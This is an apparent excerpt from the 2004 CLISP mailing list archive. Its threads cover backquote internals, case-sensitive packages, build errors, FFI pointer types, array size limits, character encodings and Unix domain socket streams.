> How to do call unquote-splice and friends in clisp now as macro/function?
> 
> This is the KM assoc list, which will be applied on the various symbols:
> 
> (defconstant *special-symbol-alist*
>    '( (quote "'")
>       (function "#'")
>       (unquote "#,")
>       (#-clisp unquote-splice #+clisp unquote-splice "#@")
>       (#+allegro excl::backquote #-allegro backquote "`")
>       (#+allegro excl::bq-comma #-allegro bq-comma ",")			; I'm not sure 
> of the non-Allegro implementation
>       (#+allegro excl::bq-comma-atsign #-allegro bq-comma-atsign ",@") ))
> 
> The system package is locked, so I have no access. (Do I?)
> Are my clisp workarounds correct?

Hi Reini,

Not sure what your software is trying to do, but be aware that the
splice operators are not functions or macros. They are just syntax that
can occur in a backquote template.

CLISP's backquote implementation is a macro which looks for these
operators and translates them into code.

The following two forms are equivalent in CLISP:


  `(,foo ,@bar)

  (system::backquote ((system::unquote foo) (system::splice bar)))

SYSTEM::BACKQUOTE is a macro which interprets the object
((SYSTEM::UNQUOTE FOO) (SYSTEM::SPLICE BAR)) and handles the
unquotes and splices within.

SYSTEM::UNQUOTE and SYSTEM::SPLICE are not facilities that are somehow
available separately, but they do give us a symbolic syntax that we can
generate programmatically without the use of the elements of the
backquote syntax.

The whole point is that you have a target data structure for writing
the source code of backquote expressions, rather than just a target
character-level syntax that must be processed by the reader.

To make these operators do anything, they must be correctly placed into
a a form which represents a complete SYSTEM::BACKQUOTE macro call,
and that form must be evaluated.

> #+clisp
> (defmacro unquote-splice (form)
>     `(,@ form))

Not sure what the intent is here. All this does is evaluate the form,
so a good name for this macro would be EVAL, if that symbol weren't
taken already.

The effect is like that of

  (APPEND FORM)

for any given form. If the FORM produces an atom, then that atom is
returned. If it produces a list, then that list is returned. 

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Date: Mon Sep 20 11:31:08 2004
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Kaz Kylheku schrieb:
> On Mon, 20 Sep 2004, Reini Urban wrote:
>>I need the unquote-splice facility in the km reasoner. 
>>http://www.cs.utexas.edu/users/mfkb/km.html
>>
>>I've looked at http://users.footprints.net/~kaz/clisp-backquote-patch.html,
>>which describes the patch, which changed the clisp behaviour.
>>
>>Sorry, but I forgot almost all of my macro knowledge.
>>How to do call unquote-splice and friends in clisp now as macro/function?
>>
>>This is the KM assoc list, which will be applied on the various symbols:
>>
>>(defconstant *special-symbol-alist*
>>   '( (quote "'")
>>      (function "#'")
>>      (unquote "#,")
>>      (#-clisp unquote-splice #+clisp unquote-splice "#@")
>>      (#+allegro excl::backquote #-allegro backquote "`")
>>      (#+allegro excl::bq-comma #-allegro bq-comma ",")			; I'm not sure 
>>of the non-Allegro implementation
>>      (#+allegro excl::bq-comma-atsign #-allegro bq-comma-atsign ",@") ))
>>
>>The system package is locked, so I have no access. (Do I?)
>>Are my clisp workarounds correct?


> Hi Reini,
> Not sure what your software is trying to do, but be aware that the
> splice operators are not functions or macros. They are just syntax that
> can occur in a backquote template.
> 
> CLISP's backquote implementation is a macro which looks for these
> operators and translates them into code.
> 
> The following two forms are equivalent in CLISP:
> 
> 
>   `(,foo ,@bar)
> 
>   (system::backquote ((system::unquote foo) (system::splice bar)))
> 
> SYSTEM::BACKQUOTE is a macro which interprets the object
> ((SYSTEM::UNQUOTE FOO) (SYSTEM::SPLICE BAR)) and handles the
> unquotes and splices within.
> 
> SYSTEM::UNQUOTE and SYSTEM::SPLICE are not facilities that are somehow
> available separately, but they do give us a symbolic syntax that we can
> generate programmatically without the use of the elements of the
> backquote syntax.
> 
> The whole point is that you have a target data structure for writing
> the source code of backquote expressions, rather than just a target
> character-level syntax that must be processed by the reader.

That's what I remember, when I wrote my own little backquote macro.

> To make these operators do anything, they must be correctly placed into
> a a form which represents a complete SYSTEM::BACKQUOTE macro call,
> and that form must be evaluated.
> 
>>#+clisp
>>(defmacro unquote-splice (form)
>>    `(,@ form))
> 
> Not sure what the intent is here. All this does is evaluate the form,
> so a good name for this macro would be EVAL, if that symbol weren't
> taken already.

It's a little bit complicated, because it's an expert system shell, 
which adds some syntactic sugar to the reader/printer.

So there's an alist which defines the sugar and the function/macro to call.
I found several places in the code where it is used, but I don't 
understand it fully for now.

(let ( (special-symbol-str (second (assoc (first expr) 
*special-symbol-alist*))) )
    (list special-symbol-str (objwrite (second expr) htmlify))))

It obviously looks for the macroexpanded bq symbol and applies
its own printer notation then, overriding the standard #, and friends.

So it's not really important. Just sugar for the printer. As long as it 
not the reader I don't care that much. :)
And I can guess the needed symbols by expanding it manually.
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> * Reini Urban <eheona@k-enl.ng> [2004-09-20 20:10:57 +0200]:
>
> 1) But clisp CVS doesn't build anymore as before:
>
> rm -rf build-cyg; configure --with-module=syscalls --with-module=regexp
> --with-module=berkeley-db --with-module=gdi --with-zlib

you mean --with-module=zlib

> --with-module=wildcard --with-module=postgresql --with-module=prce
> --with-module=bindings/win32 --with-module=rawsock --with-module=dirkey
>
> =>
> executing /usr/src/lisp/clisp/clisp/src/avcall/configure
> --srcdir=../../ffcall/avcall --with-module=
> syscalls --with-module=regexp --with-module=berkeley-db
> --with-module=gdi --with-zlib --with-module=
> wildcard --with-module=postgresql --with-module=prce
> --with-module=bindings/win32 --with-module=raws
> ock --with-module=dirkey --cache-file=../config.cache
> configure: error: invalid package name: module

I have seen this too. this error comes and goes at will.
just try again.
restart bash.
reboot.
whatever.

> 2) introducing a new case-sensitive package, causes all other existing
>    packages also to become case-sensitive. In my understanding of the
>    docs, only the specified package's read-table should be
>    case-sensitive, not all.
> See http://clisp.cons.org/impnotes/pack-dict.html#make-pack
> This is confusing.
>
> CL-USER> (make-package :km :case-sensistive t)
> CL-USER> (in-package :km)
> =>
> EVAL: undefined function in-package
>
> CL-USER> (IN-PACKAGE :km)

WFM:

[3]> (make-package :km :case-sensitive t)
#<PACKAGE KM>
[4]> (in-package :km)
#<PACKAGE KM>

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Sam Steingold schrieb:
>>* Reini Urban <eheona@k-enl.ng> [2004-09-20 20:10:57 +0200]:
>>1) But clisp CVS doesn't build anymore as before:
>>
>>rm -rf build-cyg; configure --with-module=syscalls --with-module=regexp
>>--with-module=berkeley-db --with-module=gdi --with-zlib
> 
> 
> you mean --with-module=zlib
> 
> 
>>--with-module=wildcard --with-module=postgresql --with-module=prce
>>--with-module=bindings/win32 --with-module=rawsock --with-module=dirkey
>>
>>=>
>>executing /usr/src/lisp/clisp/clisp/src/avcall/configure
>>--srcdir=../../ffcall/avcall --with-module=
>>syscalls --with-module=regexp --with-module=berkeley-db
>>--with-module=gdi --with-zlib --with-module=
>>wildcard --with-module=postgresql --with-module=prce
>>--with-module=bindings/win32 --with-module=raws
>>ock --with-module=dirkey --cache-file=../config.cache
>>configure: error: invalid package name: module
> 
> 
> I have seen this too. this error comes and goes at will.
> just try again.
> restart bash.
> reboot.
> whatever.

Oh god, I knew it is borked. Restarting didn't help.
I have this for a longer time now.

I'll try to do the configure calls manually then or wait until you have 
found it.

>>2) introducing a new case-sensitive package, causes all other existing
>>   packages also to become case-sensitive. In my understanding of the
>>   docs, only the specified package's read-table should be
>>   case-sensitive, not all.
>>See http://clisp.cons.org/impnotes/pack-dict.html#make-pack
>>This is confusing.
>>
>>CL-USER> (make-package :km :case-sensistive t)
>>CL-USER> (in-package :km)
>>=>
>>EVAL: undefined function in-package
>>
>>CL-USER> (IN-PACKAGE :km)
> 
> WFM:
> 
> [3]> (make-package :km :case-sensitive t)
> #<PACKAGE KM>
> [4]> (in-package :km)
> #<PACKAGE KM>
> 

hmm..

$ clisp -norc -ansi  -q

[1]> (make-package :km :case-sensitive t)
#<PACKAGE KM>
[2]> (in-package :km)
#<PACKAGE KM>
KM[3]> (defun xx ()(print 'ok))

** - Continuable Error
EVAL: Die Funktion defun ist nicht definiert.
Wenn Sie (mit Continue) fortfahren: Neuer Anlauf

** - Continuable Error
Zeichen #\u00F6 kann im Zeichensatz CHARSET:ASCII nicht dargestellt werden.
Wenn Sie (mit Continue) fortfahren: Neuer Anlauf
...
=> stack dump

or

$ clisp -norc -q -ansi -L ENGLISH -x \
"(make-package :km :case-sensitive t)(in-package :km)(defun xx ()(print 
'ok))"
#<PACKAGE KM>
#<PACKAGE KM>
*** - EVAL: undefined function defun

I also have problems after
#+clisp (SETF (READTABLE-CASE *READTABLE*) :PRESERVE)

I just wanted to play with the new features of a modern lisp, being able 
to have a |Car| as Car (the automobile), which doesn't return the first 
element of a list, but my object instead.
allegro and lispworks do it right, according to the KM docs. Okay, a 
border case.

Maybe I should downcase all existing symbols, define my case-sensitive 
package, set the readtable to preserve, load my package (which assumes 
downcased CL symbols), and restore the defaults.

$ clisp --version
GNU CLISP 2.33.1 (2004-05-22) (built on winsteingoldlap [192.168.1.101])
Software: GNU-C 3.3.1 (cygming special) ANSI-C-Programm
Features:
(CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER 
SOCKETS GENERIC-STREAMS
  LOGICAL-PATHNAMES SCREEN FFI GETTEXT UNICODE BASE-CHAR=CHARACTER UNIX 
CYGWIN)
Installation directory: /usr/lib/clisp/
User language: ENGLISH
Machine: I686 (I686) reini.helsinki.local [192.168.0.2]
(the latest CVS doesn't build yet)
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> * Reini Urban <eheona@k-enl.ng> [2004-09-20 21:04:23 +0200]:
>
> $ clisp -norc -q -ansi -L ENGLISH -x \
> "(make-package :km :case-sensitive t)(in-package :km)(defun xx ()(print
> ok))"
> #<PACKAGE KM>
> #<PACKAGE KM>
> *** - EVAL: undefined function defun

of course - what did you expect?
when *PACKAGE* is case-sensitive, "defun" is read as KM::defun, not
CL:DEFUN.

> I also have problems after
> #+clisp (SETF (READTABLE-CASE *READTABLE*) :PRESERVE)

I think you need :INVERT here.


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Reini Urban wrote:
>>>CL-USER> (make-package :km :case-sensistive t)
>>>CL-USER> (in-package :km)
>>>EVAL: undefined function in-package

>Maybe I should downcase all existing symbols, [...]
Hmm...

>(make-package :km :case-sensistive t)
If you intend to use CL symbols there, add :use "COMMON-LISP"

Inside KM, either of these work for me:
o explicit cl: package prefix, with lower case as usual
o uppercase -- which people will probably find ugly.

[52]> (make-package :km :case-sensitive t :use "CL")
#<PACKAGE KM>
[53]> (in-package"KM")
#<PACKAGE KM>
KM[54]> (apropos"defun")
*** - EVAL: undefined function apropos
[...]

Break 1 KM[55]> (cl:describe cl:*package*)
#<PACKAGE KM> is the package named KM.
It imports the external symbols of 1 package COMMON-LISP and exports no
symbols, but no package uses these exports.
Break 1 KM[55]> :q

KM[56]> (APROPOS"defun")
CUSTOM:*DEFUN-ACCEPT-SPECIALIZED-LAMBDA-LIST*    variable
SYSTEM::C-DEFUN                            function
DEFUN                                      macro
SYSTEM::IN-DEFUN
SYSTEM::IN-DEFUN-P                         function

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I make available the clisp impnotes as Windows CHM (compiled HTML)
with links to the parallel CLHS.chm, and optionaly to the CLtL2.chm.
(similar to my CormanLisp.chm)

I didn't use the docbook processor yet,
it's kind of an manual hack so far.

save as binary:
http://xarch.tu-graz.ac.at/autocad/lisp/cl/clisp.chm
http://xarch.tu-graz.ac.at/autocad/lisp/cl/CLHS.chm

src: http://xarch.tu-graz.ac.at/autocad/lisp/cl/clisp-chm.zip
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Hoehle, Joerg-Cyril schrieb:
> Reini Urban wrote:
>>>>CL-USER> (make-package :km :case-sensistive t)
>>>>CL-USER> (in-package :km)
>>>>EVAL: undefined function in-package
> 
>>Maybe I should downcase all existing symbols, [...]
> Hmm...
> 
>>(make-package :km :case-sensistive t)
> 
> If you intend to use CL symbols there, add :use "COMMON-LISP"

I read in CLHS that :use "COMMON-LISP" is the default.
Now I defined it explicitly. I also switched to defpackage.

> Inside KM, either of these work for me:
> o explicit cl: package prefix, with lower case as usual
> o uppercase -- which people will probably find ugly.

Yes, that's the problem. But I found a workaround.
;;; (cl:load (cl:translate-logical-pathname "ai:kb;km;km-2-0-9-packaged"))

(defpackage "KM"
     ;; #+clisp (:case-sensitive t)
     (:use "COMMON-LISP")
     (:export "km"))
(cl:in-package :km)
;;; shs suggested this:
;;;#+clisp (cl:setf (cl:readtable-case cl:*readtable*) :invert)
#+clisp (cl:use-package :common-lisp)

...and so on...

;;; KM package is now the current package
(defconstant *km-package* *package*)

The case-sensitive package feature (despites brunos 2004 talk),
seems to be not that what I want. The explicit symbol generation later 
on in the read-eval-print loop is case-preservant, so it's basically the 
same as (:case-sensitive t), but without affecting case of imported 
packages.

So this works fine now:
 > (a Car)
Car1
 > (Car has (superclasses (Vehicle)))

> [52]> (make-package :km :case-sensitive t :use "CL")
> #<PACKAGE KM>
> [53]> (in-package"KM")
> #<PACKAGE KM>
> KM[54]> (apropos"defun")
> *** - EVAL: undefined function apropos
> [...]
> 
> Break 1 KM[55]> (cl:describe cl:*package*)
> #<PACKAGE KM> is the package named KM.
> It imports the external symbols of 1 package COMMON-LISP and exports no
> symbols, but no package uses these exports.
> Break 1 KM[55]> :q
> 
> KM[56]> (APROPOS"defun")
> CUSTOM:*DEFUN-ACCEPT-SPECIALIZED-LAMBDA-LIST*    variable
> SYSTEM::C-DEFUN                            function
> DEFUN                                      macro
> SYSTEM::IN-DEFUN
> SYSTEM::IN-DEFUN-P                         function
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Reini Urban wrote:
> Hoehle, Joerg-Cyril schrieb:
> 
>> Reini Urban wrote:

>> Hmm...
>>
>>> (make-package :km :case-sensistive t)
>>
>>
>> If you intend to use CL symbols there, add :use "COMMON-LISP"
> 
> 
> I read in CLHS that :use "COMMON-LISP" is the default.
> Now I defined it explicitly. I also switched to defpackage.

Where did you read that?  On the page for MAKE-PACKAGE:

    use---a list of package designators. The default is implementation-defined.

	Paul



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Paul F. Dietz schrieb:
> Reini Urban wrote:
>> Hoehle, Joerg-Cyril schrieb:
>>> Reini Urban wrote:
>>> Hmm...
>>>> (make-package :km :case-sensistive t)
>>>
>>> If you intend to use CL symbols there, add :use "COMMON-LISP"
>>
>> I read in CLHS that :use "COMMON-LISP" is the default.
>> Now I defined it explicitly. I also switched to defpackage.
> 
> Where did you read that?  On the page for MAKE-PACKAGE:
> 
>    use---a list of package designators. The default is 
> implementation-defined.

Sorry, it was in the impnotes:
http://clisp.cons.org/impnotes/pack-dict.html#make-pack

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Hi,

Jerome Abela wrote:
>I'm trying to use an external C function which returns a pointer
>to a structure.
>I have two needs:
>1. I need to pass the pointer to other functions.
>2. I need to inspect some of the fields of the structure.

>Here are the solutions I was able to implement.
>1. Using c-pointer.
>2. Using (c-ptr mystruct).

I've just implemented the long-awaited (c-pointer mystruct) c-type. It's in CVS.
I tink it's exactly what you need.

It's not documented in CVS doc/ yet, because I can't remember how I managed to get nsgmls to work to check impnotes.xml. I won't touch an XML file without a checker to assist me. So documentation is left to somebody else for now.

Example: In Linux glibc, errno is not an extern variable anymore, but a
#define errno *(__errno_location)
so that each thread gets its own value.

(def-call-out errno-location (:name "__errno_location")
  (:arguments) (:return-type (c-pointer int)))
(define-symbol-macro errno (foreign-value (__errno_location))); setf-able

Open issue: (c-pointer nil) is really is strange animal. What is it? Will it be used inadvertently (e.g. by UFFI transformations) in strange ways?
If you need void*, then you use c-pointer, just as before. Not (c-pointer nil).

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	Jorg Hohle.


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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-09-21 16:11:33 +0200]:
>
> It's not documented in CVS doc/ yet, because I can't remember how I
> managed to get nsgmls to work to check impnotes.xml. I won't touch an
> XML file without a checker to assist me. So documentation is left to
> somebody else for now.

$ cd clisp/doc
$ make check

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>>  I can't remember how I
>> managed to get nsgmls to work to check impnotes.xml.
>$ cd clisp/doc
>$ make check
I knew this. Doesn't work for me.
And I already used this nsgmls to verify other XML schemata (not docbook).

[5 hours lost in various trials]

Now I have it:

make impnotes.xml DTDVER=4.2 DTD=/usr/share/sgml/db42xml/docbookx.dtd

wrong: make impnotes.xml DTDVER=4.2 DTD=/usr/share/sgml/docbook_4.2/docbookx.dtd

nsgmls -s -wxml -E50 -c /usr/share/doc/packages/sp/html-xml/xml.soc impnotes.xml

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Reini Urban writes:
> [1]> (make-package :km :case-sensitive t)
> #<PACKAGE KM>
> [2]> (in-package :km)
> #<PACKAGE KM>
> KM[3]> (defun xx ()(print 'ok))

The next clisp version will contain an implementation of
  http://www-jcsu.jesus.cam.ac.uk/~csr21/papers/lightning/lightning.html#htoc4

Is that what you are looking for?

Bruno



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Sam Steingold schrieb:
> Is anyone using MySQL with CLISP?  How?
> Is there a socket-level (as opposed to FFI) interface to MySQL?
> (similar to pg-dot-lisp http://www.chez.com/emarsden/downloads/)

Considering the frequent changes in the client protocol (postgresql 
also), I would prefer using the FFI (or static binding) to the client lib.
Esp. since mysql has three concurrent branches: 4.0, 4.1 and 5.x




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Date: Tue Sep 21 15:52:06 2004
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Bruno Haible schrieb:
> Reini Urban writes:
>>[1]> (make-package :km :case-sensitive t)
>>#<PACKAGE KM>
>>[2]> (in-package :km)
>>#<PACKAGE KM>
>>KM[3]> (defun xx ()(print 'ok))
> 
> The next clisp version will contain an implementation of
>   http://www-jcsu.jesus.cam.ac.uk/~csr21/papers/lightning/lightning.html#htoc4
> 
> Is that what you are looking for?

Yes.
I thought clisp already has this described implementation from your 
presentation, since it is in the impnotes: (make-package :case-sensitive t)

I see for example that the new ffi'ed WIN32 package successfully uses 
it. I'd need exactly the same.



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I'm confused:

io.d and stream.d seem to define LISTEN according to the CLHS;
one optional arg
   (LISTEN [input-stream])
but where is is this ADD-ON-SYSTEM-FUNCTION defined? and why?

cygwin clisp-cvs:

$ clisp-full -ansi -q -norc -c src/defsystem-3.x/defsystem.lisp
;; Loading file /cygdrive/h/.clisprc ...
;; Loaded file /cygdrive/h/.clisprc
;; Compiling file /usr/src/lisp/clocc/src/defsystem-3.x/defsystem.lisp ...
WARNING in READ-CHAR-WAIT in lines 3459..3469 :
LISTEN was called with 1 arguments, but it requires 2 arguments.

$ clisp-full -i src/defsystem-3.x/defsystem.lisp
[1]> (describe #'listen)

#<ADD-ON-SYSTEM-FUNCTION LISTEN> is a built-in system function.
Argument list: (ARG0 ARG1).

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> * Reini Urban <eheona@k-enl.ng> [2004-09-22 01:19:57 +0200]:
>
> I'm confused:
>
> io.d and stream.d seem to define LISTEN according to the CLHS;
> one optional arg
>    (LISTEN [input-stream])
> but where is is this ADD-ON-SYSTEM-FUNCTION defined? and why?
>
> cygwin clisp-cvs:
>
> $ clisp-full -ansi -q -norc -c src/defsystem-3.x/defsystem.lisp
> ;; Loading file /cygdrive/h/.clisprc ...
> ;; Loaded file /cygdrive/h/.clisprc
> ;; Compiling file /usr/src/lisp/clocc/src/defsystem-3.x/defsystem.lisp ...
> WARNING in READ-CHAR-WAIT in lines 3459..3469 :
> LISTEN was called with 1 arguments, but it requires 2 arguments.
>
> $ clisp-full -i src/defsystem-3.x/defsystem.lisp
> [1]> (describe #'listen)
>
> #<ADD-ON-SYSTEM-FUNCTION LISTEN> is a built-in system function.
> Argument list: (ARG0 ARG1).

I don't know what "clisp-full" is.
try to figure out what package LISTEN is in.
(apparently some module redefines it)

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Date: Mon Sep 27 18:57:07 2004
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In CLISP 2.33.2, (loop 42) and (loop :hello) are infinite loops.
CLISP parses them as simple loops that just evaluate the
constants repeatedly.  However, according to CLHS sections
6.1.1.1.1 and 6.1.1.1.2, they should be parsed as extended loops
and then presumably rejected as invalid.  (CLISP might have an
extension that gives a meaning to such loops, but I didn't see
any such in the implementation notes.)

This is in clisp-2.33.2/src/loop.lisp.  DEFMACRO LOOP considers
the loop an extended one if (some #'loop-keywordp body).  The
check should be (some #'atom body) instead.

If this behavior is intentional, it is misguided as it may hinder
future extensions to LOOP.  If a program written now does (loop
foo) and FOO is later defined as a LOOP keyword, the meaning of
the form in CLISP will change.  Such unexpected changes may
discourage people wanting to extend LOOP with new keywords.

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I'm trying to do some work with gtk using the clisp ffi. When I start 
clisp and type

[14]> (def-call-out gdk_get_display (:library "libgdk.so") (:return-type 
c-string))
GDK_GET_DISPLAY
[15]> (gdk_get_display)
":0.0"
[16]> (def-call-out gtk_true (:library "libgtk.so") (:return-type boolean))

*** - FFI::FOREIGN-LIBRARY: Cannot open library "libgtk.so": 
"/usr/lib/libgtk.so: undefined
      symbol: gdk_root_window"

libgdk.so exports gdk_root_window. How can I make clisp realize that 
libgdk is already loaded? Or, even better, how can I get clisp to load 
libgdk for me, so I don't have this useless gdk_get_display function?

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> * Kalle Olavi Niemitalo <xba@vxv.sv> [2004-09-27 18:26:42 +0300]:
>
> In CLISP 2.33.2, (loop 42) and (loop :hello) are infinite loops.

thanks - fixed in the CVS.


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Hi,

I have C/C++ background. Recently I decided to have a go with LISP.
I work with large data sets (1GB and more, 256M elements and more). I would 
like to load the whole set or as large part of it as possible into an array 
to speed up processing. The computers I use have 512MB or even 4GB of RAM 
(Intel + MS Windows + Cygwin, Intel + Fedora Core). Unfortunately 
array-total-size-limit is 16777216 elements. Is there any way to increase 
the limit?

I have also tried 
(make-hash-table :size (* 1024 1024 32))
and failed. Is there any way to put 32M elements into a hash table?

I use clisp 2.33.2 on Fedora and 2.33.1 on MSWindows/Cygwin.

I will be grateful for any help.
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Wojciech Mikanik writes:
> Hi,
> 
> I have C/C++ background. Recently I decided to have a go with LISP.
> I work with large data sets (1GB and more, 256M elements and more). I would 
> like to load the whole set or as large part of it as possible into an array 
> to speed up processing. The computers I use have 512MB or even 4GB of RAM 
> (Intel + MS Windows + Cygwin, Intel + Fedora Core). Unfortunately 
> array-total-size-limit is 16777216 elements. Is there any way to increase 
> the limit?

No.
You could change to an implementation with a greater limit.
Or you'll have to implement your own "array" object using several CL arrays.
 
> I have also tried 
> (make-hash-table :size (* 1024 1024 32))
> and failed. Is there any way to put 32M elements into a hash table?

Most probably, ARRAY-TOTAL-SIZE-LIMIT or ARRAY-DIMENSION-LIMIT applies
to the number of hash table entries too, but it's really
implementation dependant.

You will have to implement your own data structures to store so much data.

> I use clisp 2.33.2 on Fedora and 2.33.1 on MSWindows/Cygwin.


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> * Wojciech Mikanik <jzvxnavx@irtn.vvas.cbyfy.tyvjvpr.cy> [2004-09-29 11:19:20 +0200]:
>
> like to load the whole set or as large part of it as possible into an
> array to speed up processing. The computers I use have 512MB or even
> 4GB of RAM (Intel + MS Windows + Cygwin, Intel + Fedora

First and foremost, get a 64-bit CPU and compile CLISP in 64-bit mode.
Otherwise you are not getting anywhere.
In 64-bit mode, CLISP has larger limits for array sizes and thus for
hash-table sizes too.

Still, instead of a 2^24 limit for arrays, you will have a 2^32 limit
(not a 2^48 limit as you and I might want).

> Core). Unfortunately array-total-size-limit is 16777216 elements. Is
> there any way to increase the limit?

no. it is an internal hard-wired constant which depends on the CPU arch.

> I have also tried (make-hash-table :size (* 1024 1024 32)) and
> failed. Is there any way to put 32M elements into a hash table?

not on a 32-bit platform.

PS. I see no reason not to have 48-bit fixnums in 64-bit mode...
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Date: Wed Sep 29 07:40:16 2004
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Wojciech Mikanik schrieb:
> I have C/C++ background. Recently I decided to have a go with LISP.
> I work with large data sets (1GB and more, 256M elements and more). I would 
> like to load the whole set or as large part of it as possible into an array 
> to speed up processing. The computers I use have 512MB or even 4GB of RAM 
> (Intel + MS Windows + Cygwin, Intel + Fedora Core). Unfortunately 
> array-total-size-limit is 16777216 elements. Is there any way to increase 
> the limit?

use a better lisp?

> I have also tried 
> (make-hash-table :size (* 1024 1024 32))
> and failed. Is there any way to put 32M elements into a hash table?
> 
> I use clisp 2.33.2 on Fedora and 2.33.1 on MSWindows/Cygwin.

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> * Reini Urban <eheona@k-enl.ng> [2004-09-29 16:38:37 +0200]:
>
> Wojciech Mikanik schrieb:
>> would like to load the whole set or as large part of it as possible
>> into an array to speed up processing. The computers I use have 512MB
>> or even 4GB of RAM (Intel + MS Windows + Cygwin, Intel + Fedora
>> Core). Unfortunately array-total-size-limit is 16777216 elements. Is
>> there any way to increase the limit?
>
> use a better lisp?

no 32-bit list can address more than 2GB of RAM.

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Sam Steingold schrieb:

>>* Reini Urban <eheona@k-enl.ng> [2004-09-29 16:38:37 +0200]:
>>
>>Wojciech Mikanik schrieb:
>>
>>>would like to load the whole set or as large part of it as possible
>>>into an array to speed up processing. The computers I use have 512MB
>>>or even 4GB of RAM (Intel + MS Windows + Cygwin, Intel + Fedora
>>>Core). Unfortunately array-total-size-limit is 16777216 elements. Is
>>>there any way to increase the limit?
>>
>>use a better lisp?

sorry, should be "use a slower lisp".

> no 32-bit list can address more than 2GB of RAM.

True, but slower lisp's might use/fallback to bignums or use abstract 
int64 (long long) on a i386 cpu.
Haven't checked that though.
There was some discussion on comp.lang.lisp some year ago.
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Hi,

I'm trying to read the output of an application through a stream and,
at some point, the application generates the degree sign
(code-char #xB0) and read-line fails with an error saying that the
character cannot be represented in the character set CHARSET:ASCII.

I looked in the clisp (version 2.33.2) implementation notes and this
character seems to be part of the iso-8859-1 set. I tried setting
:external-format 'iso-8859-1 and/or :element-type 'extended-char but
it doesn't make any difference.

I could pipe the output of that application through a sed script but
is there a better way to convince clisp to accept it?

Thanks,

Catalin



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Hi [3rd try],

me too wanted to ty out unix domain sockets (because pg.lisp does it with CMUCL). Once again, CLISP has 95% of what's required (see below), yet it's not usable.

Sam Steingold wrote, on the 21st of April:
>> Is it possible create and bind a pathname to a Unix domain socket with
>> clisp? If so, how?
>1. Don Cohen is working on a "raw-sock" module which should offer full
>   socket access from CLISP.
>2. This has been discussed on clisp-devel, go to clisp.cons.org and
>   search the mailing list for "unix sockets" or "udp sockets"
>   (the search is available on the front page, use either gmane or SF)
The response is IMHO not satisfactory.

Ad 1): I don't need raw sockets or use UDP, which is what the raw-sock module is useful for. More importantly, if I looked correctly, raw-sock does not integrate with the rest of CLISP sockets (no surprise, since it provides more "low-level" API). I don't want (I'd consider it a waste, reason below) to define a dozen of methods just to make raw-sock implement the usual CLISP stream protocol.

Ad 2) I searched using "unix" and "sockets" but found nothing relevant except for udp discussions which is again not what I want or what a efw people in this list have asked for. Here I want stream sockets, usable like other Lisp-level socket streams.

3) ext:make-stream was of no help either.

Don Cohen wrote during the same day of April:
>BTW, I also believe that the code as it stands now would not support
>unix sockets.  So whoever makes a real clisp module out of it might
>want to add that.


For years now, almost every CLISP on UNIX has had the ability to connect to unix domain sockets -- but only to the local X server. I can't remember which of sockets or FFI (1994) was first in CLISP.

It's called MAKE-SOCKET-STREAM and it's a little dorming these days: it's exported neither from EXT nor from SOCKET.

Here's a hack to connect to the local postgres unix domain socket:

cd /tmp/.X11-unix
ln ../.s.PGSQL.5432 X5432		# be root

(in-package "PG")				; Eric Marsden's pg-0.19
(defun socket-connect(port host)	; override sysdep.lisp
  (sys::make-socket-stream "unix" port))	; 5432 is the default postgres port

(in-package"PG-TESTS")
(test)
[...] it just works.


So the only missing thing is to:
o either open the function to provide a pathname or provide a separate function name
o refactor some code in src/socket.d and stream.d to accept pathname
o rename the resulting object from #<IO UNBUFFERED X11-SOCKET-STREAM ("unix" 5432)> to something independent of X11,
o export it from EXT or SOCKET,
o document it.
[I could do that, but I currently rate a few FFI items at higher priority.]

See, 95% of unix domain sockets has been there, for years.

Regards,
	Jorg Hohle.


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> * Catalin Marinas <pznevanf@agyjbeyq.pbz> [2004-10-04 14:39:50 +0100]:
>
> I'm trying to read the output of an application through a stream and,
> at some point, the application generates the degree sign
> (code-char #xB0) and read-line fails with an error saying that the
> character cannot be represented in the character set CHARSET:ASCII.
>
> I looked in the clisp (version 2.33.2) implementation notes and this
> character seems to be part of the iso-8859-1 set. I tried setting
> :external-format 'iso-8859-1 and/or :element-type 'extended-char but
> it doesn't make any difference.

(with-open-file (s "c:/temp/foo" :direction :output
                   :external-format charset:iso-8859-1)
  (write-char (code-char #xB0) s) (terpri s))
NIL

(with-open-file (s "c:/temp/foo" :direction :input
                   :external-format charset:iso-8859-1)
   (list (read-char s) (read-char s) (read-char s nil nil)))
(#\DEGREE_SIGN #\Newline NIL)

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> * Hoehle, Joerg-Cyril <Wbret-Plevy.Ubruyr@g-flfgrzf.pbz> [2004-10-04 16:00:53 +0200]:
>
> Ad 1): I don't need raw sockets or use UDP, which is what the raw-sock
> module is useful for. More importantly, if I looked correctly,
> raw-sock does not integrate with the rest of CLISP sockets (no
> surprise, since it provides more "low-level" API). I don't want (I'd
> consider it a waste, reason below) to define a dozen of methods just
> to make raw-sock implement the usual CLISP stream protocol.

if you bother to look at the docs, you will find this:
<impnotes/modules.html#rawsock>:

31.2.6.10. Raw Socket Access.

This is the raw socket interface, as described in
<sys/socket.h>. Sockets are represented by their FIXNUM file
descriptors.

        Use SOCKET:SOCKET-STREAM instead!
This interface is very low-level, and you probably do not need it -
unless you are doing something very unusual. If you are interested in
TCP/IP (Internet) sockets, you should use SOCKET:SOCKET-STREAMs, not
this package.

        Do not use EXT:MAKE-STREAM!
You can turn such a raw socket into a usual lisp STREAM using
EXT:MAKE-STREAM, but you should be extremely careful with such dubious
actions! See the <clisp-devel/at/sf.net> mailing list archives for more
details.

<impnotes/stream-dict.html#make-stream>:
21.3.2. Function EXT:MAKE-STREAM

Function EXT:MAKE-STREAM creates a Lisp stream out of an OS file handle:
(EXT:MAKE-STREAM object :DIRECTION :ELEMENT-TYPE :EXTERNAL-FORMAT
:BUFFERED)

object designates an OS handle (a file descriptor), and should be one of
the following: 

number
    denotes the file descriptor of this value 
:INPUT
    denotes CLISP process standard input 
:OUTPUT
    denotes CLISP process standard output 
:ERROR
    denotes CLISP process standard error 
STREAM
    denotes the handle of this stream, which should be a FILE-STREAM or
    a SOCKET:SOCKET-STREAM  

Beware of buffering!

When there are several Lisp STREAMs backed by the same OS file handle,
the behavior may be highly confusing when some of the Lisp streams are
:BUFFERED. Use FORCE-OUTPUT for output STREAMs, and bulk input for input
STREAMs.

The handle is duplicated (with dup/dup2), so it is safe to CLOSE a
STREAM returned by EXT:MAKE-STREAM.

> Don Cohen wrote during the same day of April:
>>BTW, I also believe that the code as it stands now would not support
>>unix sockets.  So whoever makes a real clisp module out of it might
